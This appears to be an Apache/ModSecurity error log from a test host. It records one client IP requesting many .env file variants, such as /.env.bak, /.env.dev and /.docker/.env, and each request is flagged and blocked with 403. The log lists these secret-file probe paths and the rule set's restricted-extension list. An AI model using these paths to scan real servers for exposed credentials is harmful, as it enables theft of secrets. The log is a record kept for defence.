[Thu Mar 12 21:45:24.089693 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/.env"] [unique_id "abMl5NYP7IfwyGfz0ydebQAAAAA"]
[Thu Mar 12 21:45:24.111687 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/laravel/app/.env"] [unique_id "abMl5NYP7IfwyGfz0ydebgAAAAA"]
[Thu Mar 12 21:45:24.111875 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/laravel/app/.env"] [unique_id "abMl5NYP7IfwyGfz0ydebgAAAAA"]
[Thu Mar 12 21:45:24.111999 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/laravel/app/.env"] [unique_id "abMl5NYP7IfwyGfz0ydebgAAAAA"]
[Thu Mar 12 21:45:24.133964 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env-example"] [unique_id "abMl5NYP7IfwyGfz0ydebwAAAAA"]
[Thu Mar 12 21:45:24.134149 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env-example"] [unique_id "abMl5NYP7IfwyGfz0ydebwAAAAA"]
[Thu Mar 12 21:45:24.134275 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env-example"] [unique_id "abMl5NYP7IfwyGfz0ydebwAAAAA"]
[Thu Mar 12 21:45:24.156223 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env-sample"] [unique_id "abMl5NYP7IfwyGfz0ydecAAAAAA"]
[Thu Mar 12 21:45:24.156403 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env-sample"] [unique_id "abMl5NYP7IfwyGfz0ydecAAAAAA"]
[Thu Mar 12 21:45:24.156525 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env-sample"] [unique_id "abMl5NYP7IfwyGfz0ydecAAAAAA"]
[Thu Mar 12 21:45:24.178289 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abMl5NYP7IfwyGfz0ydecQAAAAA"]
[Thu Mar 12 21:45:24.178523 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abMl5NYP7IfwyGfz0ydecQAAAAA"]
[Thu Mar 12 21:45:24.178687 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abMl5NYP7IfwyGfz0ydecQAAAAA"]
[Thu Mar 12 21:45:24.178799 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abMl5NYP7IfwyGfz0ydecQAAAAA"]
[Thu Mar 12 21:45:24.200614 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abMl5NYP7IfwyGfz0ydecgAAAAA"]
[Thu Mar 12 21:45:24.200840 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abMl5NYP7IfwyGfz0ydecgAAAAA"]
[Thu Mar 12 21:45:24.201431 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abMl5NYP7IfwyGfz0ydecgAAAAA"]
[Thu Mar 12 21:45:24.201560 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abMl5NYP7IfwyGfz0ydecgAAAAA"]
[Thu Mar 12 21:45:24.223553 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "abMl5NYP7IfwyGfz0ydecwAAAAA"]
[Thu Mar 12 21:45:24.223777 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "abMl5NYP7IfwyGfz0ydecwAAAAA"]
[Thu Mar 12 21:45:24.223959 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "abMl5NYP7IfwyGfz0ydecwAAAAA"]
[Thu Mar 12 21:45:24.224082 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "abMl5NYP7IfwyGfz0ydecwAAAAA"]
[Thu Mar 12 21:45:24.246011 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abMl5NYP7IfwyGfz0ydedAAAAAA"]
[Thu Mar 12 21:45:24.246192 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abMl5NYP7IfwyGfz0ydedAAAAAA"]
[Thu Mar 12 21:45:24.246326 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abMl5NYP7IfwyGfz0ydedAAAAAA"]
[Thu Mar 12 21:45:24.268239 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "abMl5NYP7IfwyGfz0ydedQAAAAA"]
[Thu Mar 12 21:45:24.268425 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "abMl5NYP7IfwyGfz0ydedQAAAAA"]
[Thu Mar 12 21:45:24.268547 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "abMl5NYP7IfwyGfz0ydedQAAAAA"]
[Thu Mar 12 21:45:24.290576 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "abMl5NYP7IfwyGfz0ydedgAAAAA"]
[Thu Mar 12 21:45:24.290761 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "abMl5NYP7IfwyGfz0ydedgAAAAA"]
[Thu Mar 12 21:45:24.290887 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "abMl5NYP7IfwyGfz0ydedgAAAAA"]
[Thu Mar 12 21:45:24.312942 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker.dev"] [unique_id "abMl5NYP7IfwyGfz0ydedwAAAAA"]
[Thu Mar 12 21:45:24.313121 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker.dev"] [unique_id "abMl5NYP7IfwyGfz0ydedwAAAAA"]
[Thu Mar 12 21:45:24.313254 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker.dev"] [unique_id "abMl5NYP7IfwyGfz0ydedwAAAAA"]
[Thu Mar 12 21:45:24.335269 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.int"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.int"] [unique_id "abMl5NYP7IfwyGfz0ydeeAAAAAA"]
[Thu Mar 12 21:45:24.335456 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.int"] [unique_id "abMl5NYP7IfwyGfz0ydeeAAAAAA"]
[Thu Mar 12 21:45:24.335580 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.int"] [unique_id "abMl5NYP7IfwyGfz0ydeeAAAAAA"]
